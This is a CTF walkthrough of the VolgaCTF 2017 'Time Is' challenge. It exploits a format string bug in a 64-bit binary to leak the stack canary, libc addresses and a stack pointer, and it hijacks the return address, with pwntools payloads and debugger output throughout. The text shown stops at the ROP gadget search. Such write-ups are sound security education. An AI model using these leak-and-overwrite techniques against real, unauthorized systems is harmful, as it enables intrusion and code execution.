2017-03-26

VolgaCTF 2017: Time Is - Exploitation 150

This challenge was part of VolgaCTF 2017 and in the exploit category. I had recently learned about format string exploitation and a cursory inspection of the binary's behavior left me feeling that I could attack this program and gain code execution with a format string exploit. Little did I know I was in for another bout of binary enlightenment.

If you'd like, click to jump straight to the solution.

The challenge flavor text:

Time Is

Check out an extremelly useful utility at time-is.quals.2017.volgactf.ru:45678

time_is

If you'd like to follow along with this walkthrough, you can grab a copy of the original challenge binary here, and you'll need a copy of radare2, as well as pwntools with a copy of python2 (or preferably ipython2).

Recon

My new favorite tool to run on a binary is checksec.sh. This handy little script provides a host of features that I won't get deep into, including several that I haven't tested out yet.

The first thing I did when I got the binary was run it through checksec:

-> % checksec --file ./time_is
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   ./time_is

This told me some information about the binary, such as that NX is on (meaning the stack is not executable - so no stack shellcode we can execute), that stack Canaries are there (so stack smashing will only work if we can leak it), and that Partial RELRO is enabled, (meaning that the GOT is not write-protected).

I also ran file on the binary to check if it's 32-bit or 64-bit:

-> % file time_is
time_is: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, 
for GNU/Linux 2.6.32, BuildID[sha1]=34df22604978c4e32938d8692607a5c84e84e681, stripped, with debug_info

And we see that it is indeed a 64-bit binary.

The last bit of information gathering I did is I ran the executable to see how one interacts with it:

-> % ./time_is 
Enter time zones separated by whitespace or q to quit
EDT
EDT: 15:42
Enter time zones separated by whitespace or q to quit
PST GMT
PST: 03:42
GMT: 19:42
Enter time zones separated by whitespace or q to quit
herpderp hurrdurr utc
herpderp: 19:42
hurrdurr: 19:42
utc: 19:42
Enter time zones separated by whitespace or q to quit
UTC
UTC: 19:42
Enter time zones separated by whitespace or q to quit
%x.%x.%x.%x
4.66666667.5f6ddce0.70a3d70b: 19:43
Enter time zones separated by whitespace or q to quit
q
See you!

As you can see, the program runs in a loop, accepting space-delimited arguments of timezone abbreviations to display time conversions. On a whim, I entered a format string specifier (%x) which apparently was passed directly to the printf() function unescaped, as you can see on the two highlighted lines above. Recognizing that the program interpreted my input as a format string led me down my first rabbit hole: format string exploitation.

Rabbit Hole

printf()

At this point I was sure I could solve this challenge easily by using my recently acquired knowledge of format string exploitation. If you're unfamiliar with format string exploitation have a look at my Format String Exploitation Walkthrough 00 (STILL IN PROGRESS).

The first thing I wanted to do was to was to try writing to the Global Offset Table.

Checking the GOT:

[0x00603016]> pd 8 @ 0x00603018
            ;-- reloc.free_24:
            0x00603018      .qword 0x0000000000400656                   ; RELOC 64 free
            ;-- reloc.__stack_chk_fail_32:
            0x00603020      .qword 0x0000000000400666                   ; RELOC 64 __stack_chk_fail
            ;-- reloc.__libc_start_main_40:
            0x00603028      .qword 0x00007efd451d3420 ; r11             ; RELOC 64 __libc_start_main
            ;-- reloc.__getdelim_48:
            0x00603030      .qword 0x0000000000400686                   ; RELOC 64 __getdelim
            ;-- reloc.strcmp_56:
            0x00603038      .qword 0x0000000000400696                   ; RELOC 64 strcmp
            ;-- reloc.time_64:
            0x00603040      .qword 0x00000000004006a6                  ; [0x2700000000:1]=255 ; 0  ; RELOC 64 time
            ;-- reloc.__printf_chk_72:
            0x00603048      .qword 0x00000000004006b6                   ; RELOC 64 __printf_chk
            ;-- reloc.setvbuf_80:
            0x00603050      .qword 0x00000000004006c6                  ; '@' ; [0x40:1]=255 ; '@' ; 64  ; RELOC 64 setvbuf

Since I noticed the time changing when using the program normally, I know that the time function must be called after every input, so that'd be the entry to overwrite, 0x00603040. This is where I encountered my first (false) problem: How to write null (\x00) bytes bytes for a 64-bit address? At the time, I was accustomed to all string-reading utilities (for c) stopping on reading a null byte, which would make suppying a low address like this difficult if not impossible.

Let's look at how the program is reading our input:

[0x004006f0]> pd 27
            ;-- main:
            ;-- section..text:
            0x004006f0      4157           push r15                    ; section 14 va=0x004006f0 pa=0x000006f0 sz=1218 vsz=1218 rwx=--r-x .text
            0x004006f2      4156           push r14
            0x004006f4      31c9           xor ecx, ecx
            0x004006f6      4155           push r13
            0x004006f8      4154           push r12
            0x004006fa      ba02000000     mov edx, 2
            0x004006ff      55             push rbp
            0x00400700      53             push rbx
            0x00400701      31f6           xor esi, esi
            0x00400703      4881ec480800.  sub rsp, 0x848
            0x0040070a      488b3d5f2920.  mov rdi, qword [obj.stdout] ; [0x603070:8]=0 ; LEA obj.stdout ; obj.stdout
            0x00400711      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
            0x0040071a      488984243808.  mov qword [rsp + 0x838], rax
            0x00400722      31c0           xor eax, eax
            0x00400724      e897ffffff     call sym.imp.setvbuf
            0x00400729      bea00e4000     mov esi, str.Enter_time_zones_separated_by_whitespace_or_q_to_quit_n ; "Enter time zones separated by whitespace or q to quit." @ 0x400ea0
            0x0040072e      bf01000000     mov edi, 1
            0x00400733      31c0           xor eax, eax
            0x00400735      e876ffffff     call sym.imp.__printf_chk
            0x0040073a      488b0d3f2920.  mov rcx, qword [obj.stdin]  ; [0x603080:8]=0 ; LEA obj.stdin ; obj.stdin
            0x00400741      488d742420     lea rsi, qword [rsp + 0x20] ; 0x20 ; 32
            0x00400746      488d7c2418     lea rdi, qword [rsp + 0x18] ; 0x18 ; 24
            0x0040074b      ba0a000000     mov edx, 0xa
            0x00400750      48c744241800.  mov qword [rsp + 0x18], 0
            0x00400759      48c744242000.  mov qword [rsp + 0x20], 0
            0x00400762      e819ffffff     call sym.imp.__getdelim
            0x00400767      488b4c2418     mov rcx, qword [rsp + 0x18] ; [0x18:8]=-1 ; 24

Here we can see the function getdelim() is used to read our input, and that the first, second, third, and fourth arguments are 0, 0, 0xa and STDIN (via rdi, rsi, rdx and rcx respectively). Let's look at the man page for it:

-> % man getdelim
GETLINE(3)                   Linux Programmer's Manual                   GETLINE(3)

NAME
       getline, getdelim - delimited string input

SYNOPSIS
       #include <stdio.h>

       ssize_t getline(char **lineptr, size_t *n, FILE *stream);

       ssize_t getdelim(char **lineptr, size_t *n, int delim, FILE *stream);

DESCRIPTION
       getline() reads an entire line from stream, storing the address of the buffer containing the text into *lineptr.  
       The buffer is null-terminated and includes the newline character, if one was found.

       If *lineptr is set to NULL and *n is set 0 before the call, then getline() will allocate a buffer for storing the line.  
       This buffer should be freed by the user program even if getline() failed.
...
       getdelim() works like getline(), except that a line delimiter other than newline can be specified as the delimiter argument.  
       As with getline(), a delimiter character is not added  if  one  was  not present in the input before end of file was reached.

RETURN VALUE
       On  success,  getline()  and getdelim() return the number of characters read, including the delimiter character, 
       but not including the terminating null byte ('\0').  This value can be used to handle embedded null bytes in the line read.

From the man page we can see that since the first two args are null, then a buffer will automagically be allocated for the string to get read into, and that the third arg specifies the delimiter as 0x0a or linefeed. However I noticed the line highlighted which gave me pause, and warranted investigation. It seems to indicate that null bytes could be read, although it isn't too clear about this.

I decided to test this by writing to the GOT address I found earlier.

-> % ./time_is
AAAABBBB%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
AAAABBBB4.66666667.7fedaa853ce0.a3d70a3d70a3d70b.3b2255e0.7fedaaa93460.0.15d9010.78.58dd43e5.4242424241414141.
2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.
2e786c252e786c25.2e786c252e786c25.: 17:44

And it appears to be the 11th stack word. So then I tried leaking the GOT address for time:

-> % (echo -ne '\x40\x30\x60\x00\x00\x00\x00\x00%11$lx\x0a' ; cat -) | ./time_is 
Enter time zones separated by whitespace or q to quit
@0`Enter time zones separated by whitespace or q to quit

Hmm, it doesn't look like that worked. Ah, the printf() stopped on encountering a null byte literal. Let's reorder the arguments:

-> % (echo -ne '%12$lxAA\x40\x30\x60\x00\x00\x00\x00\x00\x0a' ; cat -) | ./time_is
Enter time zones separated by whitespace or q to quit
*** invalid %N$ use detected ***

You'll notice I had to change the word to the 12th one, as well as pad the format specifier to 8 bytes. But we got an error message I've never seen before. What makes this use of %N$ invalid?

This is where my rabbit-hole journey began. I googled for *** invalid %N$ use detected *** and ended up on this phrack.org article discussing the compiler feature FORTIFY_SOURCE. It turns out that 2 things are done when this flag is supplied: 1st, the %N$ specifier is rendered all but useless; you must consume the preceding number of argument's worth of words before being able to address the one supplied. OK, not that hard to work around. I just have to expand the notation explicitly. But this will also shift the target word down a lot due to the extra characters entered. Let's open this in ipython2 with pwntools to make this a bit easier to work with:

-> % ipython2

In [1]: from pwn import *

In [2]: import struct

In [3]: r = process("./time_is")
[x] Starting local process './time_is'
[+] Starting local process './time_is': pid 2187

In [5]: r.readline()
Out[5]: 'Enter time zones separated by whitespace or q to quit\n'

<...after several tries...>

In [8]: payload = "%lx." * 22 + struct.pack("Q", 0x603040)

In [9]: r.sendline(payload)

In [10]: r.readline()
Out[10]: '3.66666667.7fc5bae3ace0.a3d70a3d70a3d70b.3b2255e0.7fc5bb07a460.0.1519010.78.58dd50c0.2e786c252e786c25.2e786c252e786c25.
2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.
2e786c252e786c25.2e786c252e786c25.603040.@0`Enter time zones separated by whitespace or q to quit\n'

We see that it comes out to being the 22nd word on the stack, so we'll change that to write:

In [11]: payload = "%lx." * 21 + "A%n." + struct.pack("Q", 0x603040)

In [12]: r.sendline(payload)

In [13]: r.readline()
[*] Process './time_is' stopped with exit code -6 (SIGABRT) (pid 2187)
Out[13]: '*** %n in writable segment detected ***\n'

Which brings us to the second change that FORTIFY_SOURCE brings: one cannot use the %n format string to write to mapped memory. Hmm. This seems the mitigate using printf() writing data anywhere.

I spent the rest of the night looking for how to bypass this FORTIFY_SOURCE, with little success. The phrack org describes using an integer overflow to somehow disable this, however the examples were for 32-bit binaries, and involved being able to shift around the environment, which I couldn't do with the remote service (that I know of). Frustrated, I called it a night.

The Next Day

The next day I took a fresh look at the challenge, and asked myself why I was trying to use printf(): Well obviously to write to the GOT. Now why was I trying to write to the GOT? Well, to take control of the instruction pointer. But couldn't I just buffer overflow and take control of the return address? I had discarded that idea before because I'd never worked around a stack canary before, and because of the distraction that the printf() rabbit-hole provided.

But now that I could read stack memory with my printf() memory leak, couldn't I also leak the canary?

Coal Mines

Looking back at our previous dump of main from radare, we can see at instruction 0x400703 that the stack is made to be 0x838 bytes, and that something is moved from fs:[0x28] to rsp + 0x838 3 instructions later.

[0x004006f0]> pd 4 @ 0x400703
            0x00400703      4881ec480800.  sub rsp, 0x848
            0x0040070a      488b3d5f2920.  mov rdi, qword [obj.stdout] ; [0x603070:8]=0x7f4b46dcd5e0 rdi ; LEA obj.stdout ; obj.stdout
            0x00400711      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
            0x0040071a      488984243808.  mov qword [rsp + 0x838], rax

We know this is the stack canary by examining the instructions at the bottom of main, starting at 0x4009de:

[0x004009c6]> pd 20 @ 0x004009de
        |   0x004009de      488b8c243808.  mov rcx, qword [rsp + 0x838] ; [0x838:8]=-1 ; 2104
        |   0x004009e6      6448330c2528.  xor rcx, qword fs:[0x28]
       ,==< 0x004009ef      7517           jne 0x400a08
       ||   0x004009f1      4881c4480800.  add rsp, 0x848
       ||   0x004009f8      5b             pop rbx
       ||   0x004009f9      5d             pop rbp
       ||   0x004009fa      415c           pop r12
       ||   0x004009fc      415d           pop r13
       ||   0x004009fe      415e           pop r14
       ||   0x00400a00      415f           pop r15
       ||   0x00400a02      c3             ret
       ||   0x00400a03      4c89ef         mov rdi, r13
       |`=< 0x00400a06      ebac           jmp 0x4009b4
       `--> 0x00400a08      e853fcffff     call sym.imp.__stack_chk_fail

We can see here that if the value stored on the stack doesn't match what's stored in the fs segment register, the stack_chk_fail function is invoked, which aborts the program for stack smashing.

So, let's see if we can leak the canary. I added 10 to the number of stack words since we leak a few registers before we start leaking from rsp. Back in ipython:

In [60]: r = process("./time_is")
[x] Starting local process './time_is'
[+] Starting local process './time_is': pid 5773

In [61]: 0x838 / 8                  #stack size in bytes divided by quadword
Out[61]: 263                        #number of stack words

In [62]: r.sendline("%lx." * 273)   #padded number of stack words just in case

In [63]: r.readline()
Out[63]: 'Enter time zones separated by whitespace or q to quit\n'

In [64]: r.readline()
Out[64]: '3.66666667.7fadaee23ce0.a3d70a3d70a3d70b.3b2255e0.7fadaf063460.0.c1d0a0.446.58dd5efb.2e786c252e786c25.2e786c252e786c25.
<...SNIP...>
'0.0.0.0.0.0.0.0.0.1.4e99497e49befb00.0.0.400b40.400a10.7ffe4dc03890.: 19:39\n'

Hmm, could 0x4e99497e49befb00 be our stack canary?

Let's attach radare2 to our process and find out:

-> % ps aux | grep time
user+  5773  0.0  0.0   4188   600 pts/34   Ss+  15:38   0:00 ./time_is
-> % sudo r2 -d 5773
[sudo] password for user: 
PIDPATH: /time_is
= attach 5773 5773
bin.baddr 0x00400000
Using 0x400000
Assuming filepath /time_is
asm.bits 64
 -- prove you are a robot to continue ...
[0x7fadaed9e360]> s main
[0x004006f0]> pd 200
            ;-- main:
            ;-- section..text:
            0x004006f0      4157           push r15                    ; section 14 va=0x004006f0 pa=0x000006f0 sz=1218 vsz=1218 rwx=--r-x .text
            0x004006f2      4156           push r14
            0x004006f4      31c9           xor ecx, ecx
            0x004006f6      4155           push r13
            0x004006f8      4154           push r12
            0x004006fa      ba02000000     mov edx, 2
            0x004006ff      55             push rbp
            0x00400700      53             push rbx
            0x00400701      31f6           xor esi, esi
            0x00400703      4881ec480800.  sub rsp, 0x848
            0x0040070a      488b3d5f2920.  mov rdi, qword [obj.stdout] ; [0x603070:8]=0x7fadaf05f5e0 ; LEA obj.stdout ; obj.stdout
            0x00400711      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
            0x0040071a      488984243808.  mov qword [rsp + 0x838], rax

<..SNIP..>

  |||||||   0x00400967      40887506       mov byte [rbp + 6], sil     ; [0x6:1]=255 ; 6
  |||||||   0x0040096b      488d742430     lea rsi, qword [rsp + 0x30] ; 0x30 ; '0' ; 48
  |||||||   0x00400970      e83bfdffff     call sym.imp.__printf_chk
  |||||||   0x00400975      4939dc         cmp r12, rbx

<..SNIP..>
[0x004006f0]> db 0x00400970
[0x004006f0]> dc
Selecting and continuing: 5773

In main, we inspect the code and find the printf_chk call which is where our format string gets interpreted, and set a breakpoint on it. We then resume execution with dc which turns control back over to our ipython session:

In [65]: r.sendline("%lx." * 273)

Once we issue this sendline command, radare hits the breakpoint we set, and we can inspect:

[0x00400970]> pxq 8 @ rsp + 0x838
0x7ffe4dc03778  0x4e99497e49befb00                       ...I~I.N

And there we have it! We've verified that we can leak the canary. So now lets see about writing it back. After some experimenting, we find that the stack canary starts after 2056 bytes:

>>> r.sendline("A" * 2056 + struct.pack("Q", 0x4e99497e49befb00) + struct.pack("Q", 0xdeadbeefcafebabe))

back in radare2:

[0x00400970]> pxq 16 @ rsp + 0x838
0x7ffe4dc03778  0x4e99497e49befb00  0xdeadbeefcafebabe   ...I~I.N........

Perfect! Now that we can overwrite the stack canary, we can overwrite the return address and control program execution. Where do we find the return address?

If we look at the end of main where the stack canary is checked, we notice the following:

[0x00400970]> pd 20 @ 0x004009de
        |   0x004009de      488b8c243808.  mov rcx, qword [rsp + 0x838] ; [0x838:8]=-1 ; 2104
        |   0x004009e6      6448330c2528.  xor rcx, qword fs:[0x28]
       ,==< 0x004009ef      7517           jne 0x400a08
       ||   0x004009f1      4881c4480800.  add rsp, 0x848
       ||   0x004009f8      5b             pop rbx
       ||   0x004009f9      5d             pop rbp
       ||   0x004009fa      415c           pop r12
       ||   0x004009fc      415d           pop r13
       ||   0x004009fe      415e           pop r14
       ||   0x00400a00      415f           pop r15
       ||   0x00400a02      c3             ret

This showed me that once the stack was restored to rsp += 0x848, that 6 stack words are popped off before the return address is hit. This equates to the canary address (rsp + 0x838) + 0x10 + 6 stack words, which should be rsp + 0x878. Let's see what's there now:

[0x00400970]> pxq 8 @ rsp + 0x878
0x7ffe4dc037b8  0x00007f7dc1cd0511                       ....}...

And to test overwriting it, let's return to main which starts at 0x004006f0. Back in python:

>>> r.sendline("A" * 2056 + struct.pack("Q", 0x4e99497e49befb00) + struct.pack("Q", 0xdeadbeefcafebabe) * 7 + struct.pack("Q", 0x4006f0))

You can see that after the stack canary, I inserted the 7 "junk" words before sending main's address.

After sending this line, radare2 hits the breakpoint before calling printf_chk. Let's look at what we just sent and see if it lines up:

[0x004009c6]> pxq  0x48 @ rsp + 0x838
0x7ffe4dc03778  0x4e99497e49befb00  0xdeadbeefcafebabe   ...I~I.N........
0x7ffe4dc03788  0xdeadbeefcafebabe  0xdeadbeefcafebabe   ................
0x7ffe4dc03798  0xdeadbeefcafebabe  0xdeadbeefcafebabe   ................
0x7ffe4dc037a8  0xdeadbeefcafebabe  0xdeadbeefcafebabe   ................
0x7ffe4dc037b8  0x00000000004006f0                       ..@.....
[0x004009c6]> pxq 8 @ rsp + 0x878
0x7ffe4dc037b8  0x00000000004006f0                       ..@.....

Awesome! Now to trigger the exploit, we just have to quit the program. But before that, let's make sure we have a breakpoint set on main:

[0x004009c6]> db main

Then we quit the program:

>>> r.sendline('q')

and continue execution in radare:

[0x004009c6]> dc
Selecting and continuing: 5773
hit breakpoint at: 4006f0
[0x004006f0]>

And would you look at that! We've successfully hijacked rip! Now what to do with it? Well, let's get a shell!

To Shell in a handbasket

So how do we get a shell? Well ideally we call /bin/bash, but for that we need to use the execve syscall, or even better, just use libc's system(char* program) function. Well, if the compiled program doesn't use system() how do we call it? Since the whole libc.so shared library is loaded into memory when we run our program, then system will be in there somewhere, even if our program doesn't call it. To find it we have to know 2 things: 1) the address of a known function call, and 2) the distance between this function and system().

The secret here is that libc is loaded at a starting address, in a contiguous block.

Once we know those two things, we can run system(). Next we have to provide the function call with the appropriate argument, which is a string pointer. Hmm, this means we have to have our string /bin/bash somewhere in memory, and know it's address. The data we can write is to the stack, however thusfar we haven't learned what the absolute address of the stack pointer is, only various, relative offsets from it. If we could leak a stack address, then we might be able to correctly deduce the stack pointer's address.

Lastly, on x64, calling convention dictates that we supply function arguments 0 through 5 in the registers, rdi, rsi, rdx, rcx, r8, r9. Which means we must get the pointer to our string into the rdi register somehow, perhaps by calling a pop rdi gadget.

Whew.

That's a lot of stuff. To summarize, now that we can control rip, in order to call bash we need to know the following information:

1) address of libc's `system` function
    a) address of known function
    b) version of libc used on remote system
2) `rsp`'s value
3) `pop rdi` gadget

Getting system()'s address

To get the address of system() we can find the address of a known function, and look up the least significant 12 bits to check common libc versions using libc-database. We talked earlier a bit about leaking memory using a format string. Let's use it here to find the address of __libc_start_main in the Global Offset Table.

Back at the start of this walkthrough we looked at the GOT using:

[0x00400953]> pd 8 @ 0x603018
            ;-- reloc.free_24:
            0x00603018      .qword 0x00007f70898d1a00                   ; RELOC 64 free
            ;-- reloc.__stack_chk_fail_32:
            0x00603020      .qword 0x0000000000400666                   ; RELOC 64 __stack_chk_fail
            ;-- reloc.__libc_start_main_40:
            0x00603028      .qword 0x00007f7089875420                   ; RELOC 64 __libc_start_main
            ;-- reloc.__getdelim_48:
            0x00603030      .qword 0x00007f70898be290                   ; RELOC 64 __getdelim
            ;-- reloc.strcmp_56:
            0x00603038      .qword 0x00007f70898e5cc0                   ; RELOC 64 strcmp
            ;-- reloc.time_64:
            0x00603040      .qword 0x00007fff877f3d70                   ; RELOC 64 time
            ;-- reloc.__printf_chk_72:
            0x00603048      .qword 0x00007f708994fac0                   ; RELOC 64 __printf_chk
            ;-- reloc.setvbuf_80:
            0x00603050      .qword 0x00007f70898bf8d0                   ; RELOC 64 setvbuf

and we can see that __libc_start_main's address in the mapped libc is loaded into address 0x603028, and on our local machine the value is 0x00007f7089875420. Let's see if we can use a format string to leak this value.

Earlier we tried writing to a specific address with %n, which failed. But we can use %s to read from an address:

>>> r.sendline("%lx." * 21 + "A%s." + struct.pack("Q", 0x603028))
>>> r.readline()
'0.66666667.7f70899b8ce0.a3d70a3d70a3d70b.36194187.7f7089bf8460.0.11b7010.78.58e3ef87.2e786c252e786c25.2e786c252e786c25.'
'2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.'
'2e786c252e786c25.2e7325412e786c25.A T\x87\x89p\x7f.(0`Enter time zones separated by whitespace or q to quit\n'

The A here is just padding to keep the alignment of our format specifier correct. Looking at the end of this output we see our leaked value: T\x87\x89p\x7f

We unpack it:

>>> hex(struct.unpack("Q", " T\x87\x89p\x7f" + "\x00\x00")[0])
'0x7f7089875420'

and find that it matches what we expect! We now have a mechanism by which to leak a function address! Let's find out the remote server's libc version:

>>> s = remote("time-is.quals.2017.volgactf.ru", 45678)
<solve gatekeeper code, explained below>
>>> s.readline()
'Enter time zones separated by whitespace or q to quit\n'
>>> r.sendline("%lx." * 21 + "A%s." + struct.pack("Q", 0x603028))
>>> r.readline()
'1.66666667.7f87fdd83ce0.a3d70a3d70a3d70b.15c963a5.7f87fdfc3460.0.f81010.78.58ebf6d0.2e786c252e786c25.2e786c252e786c25.'
'2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.'
'2e786c252e786c25.2e7325412e786c25.A\x40\x07\xc4\xfd\x87\x7f.(0`Enter time zones separated by whitespace or q to quit\n'
>>> hex(struct.unpack("Q", "\x40\x07\xc4\xfd\x87\x7f\x00\x00")[0])
'0x7f87fdc40740'

So here we see that we've leaked the address of the remote server's libc __libc_start_main function, and after unpacking it we have the value 0x7f87fdc40740. So how does leaking the address of a known libc function allow us to deduce the version of the libc library itself? Two things together answer this question.

Thing 1

When ASLR is turned on, the shared libraries and stack space get randomized. But not totally randomized; the least significant 12 bits remain unset. Which means that when an address is selected to load the libc.so file into memory at, the address looks a little something like 0x7f238ce69000, where the last 3 digits are set to 0.

This is what's known as the base address for libc.

This means that once we know the address of the function, we can search different versions of libc for addresses for that function which end in matching digits. This alone won't verify though.

Thing 2

The second thing is that when a shared object like libc.so is loaded into memory, the whole thing gets loaded contiguously. This means that if we know the address of a function (like __libc_start_main), we can check potential libc.so files for the offset value of a desired function, like system(), and leak the bytes to see if they match up.

This is exactly what I did next.

I made use of the above-mentioned libc-database tool to let me accomplish the first part: searching for prospective libc versions in which the least significant 12 bits of __libc_start_main were 0x740:

-> % ./find __libc_start_main 0x740
archive-glibc (id libc6_2.23-0ubuntu3_amd64)
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu7_amd64)

Seeing a recent Ubuntu libc on the list filled me with hope. I did an objdump on the file and looked for both the __libc_start_main and system symbols:

-> % objdump -D -Mintel libc6_2.23-0ubuntu7_amd64.so | grep -P '_start_main.+>:|system.+>:' -A5 
0000000000020740 <__libc_start_main@@GLIBC_2.2.5>:
   20740:   41 56                   push   r14
   20742:   41 55                   push   r13
   20744:   41 54                   push   r12
   20746:   55                      push   rbp
   20747:   48 89 cd                mov    rbp,rcx
--
0000000000045390 <__libc_system@@GLIBC_PRIVATE>:
   45390:   48 85 ff                test   rdi,rdi
   45393:   74 0b                   je     453a0 <__libc_system@@GLIBC_PRIVATE+0x10>
   45395:   e9 86 fa ff ff          jmp    44e20 <__strtold_nan@@GLIBC_PRIVATE+0xa0>
   4539a:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
   453a0:   48 8d 3d d8 6d 14 00    lea    rdi,[rip+0x146dd8]        # 18c17f <_libc_intl_domainname@@GLIBC_2.2.5+0x19f>

-> % pcalc '0x45390 - 0x20740'
    150608              0x24c50             0y100100110001010000

We can see from the dump above that the system function is located 0x24c50 bytes past the start of our __libc_start_main function in this file. Instead of assuming I found the right libc right off the bat, I decided to use our memory-leaking primitive above to dump the bytes at an address calculated from our offset (and discovered address) on the remote server. Back in ipython2:

>>> hex(0x7f87fdc40740 + 0x24c50)
'0x7f87fdc65390'
>>> r.sendline("%lx." * 21 + "A%s." + struct.pack("Q", 0x7f87fdc65390))
>>> r.readline()
'2.66666667.7f87fdd83ce0.a3d70a3d70a3d70b.15c963a5.7f87fdfc3460.0.f81010.78.58ebf8aa.2e786c252e786c25.2e786c252e786c25.'
'2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.'
'2e786c252e786c25.2e7325412e786c25.AH\x85\xfft\x0b\xe9\x86\xfa\xff\xfff\x0f\x1fD.Enter time zones separated by whitespace or q to quit\n'
>>> ' '.join([hex(ord(x))[2:].zfill(2) for x in "H\x85\xfft\x0b\xe9\x86\xfa\xff\xfff\x0f\x1fD"])
'48 85 ff 74 0b e9 86 fa ff ff 66 0f 1f 44'

You can see in the highlighted line above the bytes which were leaked at the remote program's offset of 0x7f87fdc65390 exactly match the first bytes of our libc system function! This was a pretty strong indicator to me that I'd discovered the correct offset from __libc_start_main to find system. Now all that remains is to find the stack pointer address, a pop rdi gadget, and construct our payload.

Self-Referential Stackology

We need to know a stack address so that we can get a pointer to our /bin/bash string to pass to system. Since ASLR randomizes the stack location, how can we get the stack pointer? Well, oftentimes a function will have a reference to a local stack address, like a string pointer for instance. If we can leak such an address and find out where it is relative to the stack pointer, we'll have the stack pointer address, from which we can calculate our string pointer value.

So, I just leaked a bunch of stack words to see if there were any that looked like stack addresses. Back in ipython2:

>>> r.sendline("%lx." * 300)
>>> r.readline()
'5.66666667.7f87fdd83ce0.a3d70a3d70a3d70b.15c963a5.7f87fdfc3460.0.f82160.4b2.58ece10f.2e786c252e786c25.2e786c252e786c25.'
<2e786c252e786c25 repeats...>
'2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.'
'2e786c252e786c25.2e786c252e786c25.a38353a3331203a.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.'
'0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.'
'0.0.0.0.0.0.0.0.0.0.1.76487aa9c99ef600.0.0.400b40.400a10.7ffcd44d9350.0.0.7f87fdc40511.0.7ffcd44d9358.100000000.4006f0.0.'
'ec8ce64445755743.400a10.7ffcd44d9350.0.0.13754e5f76f55743.13831d4c5a675743.0.0.0.1.4006f0.400bb0.0.0.400a10.7ffcd44d9350.'
'0.400a39.: 13:58\n'

On this invocation of the program, we can see (on the highlighted line above) the stack canary, 76487aa9c99ef600, followed closely by a couple of text segment addresses (400b40 and 400a10), then something that looks like a stack address: 7ffcd44d9350!

I attached radare to the process to inspect:

-> % ps aux | grep time
user 19763  0.0  0.0   4188   600 pts/22   ts+  Apr10   0:00 ./time_is
-> % sudo r2 -d 
[0x7f87fdcfe360]> s main
[0x004006f0]> db 0x00400970     # our main printf function call
[0x004006f0]> dc
Selecting and continuing: 19763

Back in ipython2, we use the same input:

>>> r.sendline("%lx." * 300)

Which triggers the breakpoint in radare2. Now we can look at the stack:

[0x00400970]> pxq 0x40 @ rsp + 0x828
0x7ffcd44d9228  0x0000000000000000  0x0000000000000001   ................
0x7ffcd44d9238  0x76487aa9c99ef600  0x0000000000000000   .....zHv........
0x7ffcd44d9248  0x0000000000000000  0x0000000000400b40   ........@.@.....
0x7ffcd44d9258  0x0000000000400a10  0x00007ffcd44d9350   ..@.....P.M.....

We can see here the stack canary, followed by the same text segment addresses and the thing that looks like a stack address. We can see how far away it is from rsp:

[0x00400970]> ? 0x00007ffcd44d9350 - rsp
2384 0x950 04520 2.3K 0000:0950 2384 "P\t" 0000100101010000 2384.0 2384.000000f 2384.000000

The address appears to be 0x950 bytes higher than rsp. Let's see if this remains constant between program runs (with ASLR) and with different input sizes:

[0x00400970]> ood; dc
Selecting and continuing: 22211
Enter time zones separated by whitespace or q to quit
AA
hit breakpoint at: 400970
[0x00400970]> pxq 0x40 @ rsp + 0x828
0x7fff6f749b28  0x0000000000000000  0x0000000000000001   ................
0x7fff6f749b38  0x47e53625f6a3bd00  0x0000000000000000   ....%6.G........
0x7fff6f749b48  0x0000000000000000  0x0000000000400b40   ........@.@.....
0x7fff6f749b58  0x0000000000400a10  0x00007fff6f749c50   ..@.....P.to....
[0x00400970]> ? 0x00007fff6f749c50 - rsp
2384 0x950 04520 2.3K 0000:0950 2384 "P\t" 0000100101010000 2384.0 2384.000000f 2384.000000

And it appears to remain constant! We now have a way of deducing the stack pointer!

Last thing we need is a pop rdi gadget!

pop rdi; ret

Luckily, radare2 has a built-in ROP gadget search:

[0x00400970]> /R pop rdi
  0x00400a01                 5f  pop rdi
  0x00400a02                 c3  ret

  0x00400b2c             c201d0  ret 0xd001
  0x00400b2f             4839fe  cmp rsi, rdi
  0x00400b32               75ec  jne 0x400b20
  0x00400b34                 5f  pop rdi
  0x00400b35                 c3  ret

  0x00400b2d               01d0  add eax, edx
  0x00400b2f             4839fe  cmp rsi, rdi
  0x00400b32               75ec  jne 0x400b20
  0x00400b34                 5f  pop rdi
  0x00400b35                 c3  ret

  0x00400b30               39fe  cmp esi, edi
  0x00400b32               75ec  jne 0x400b20
  0x00400b34                 5f  pop rdi
  0x00400b35                 c3  ret

  0x00400b33                 ec  in al, dx
  0x00400b34                 5f  pop rdi
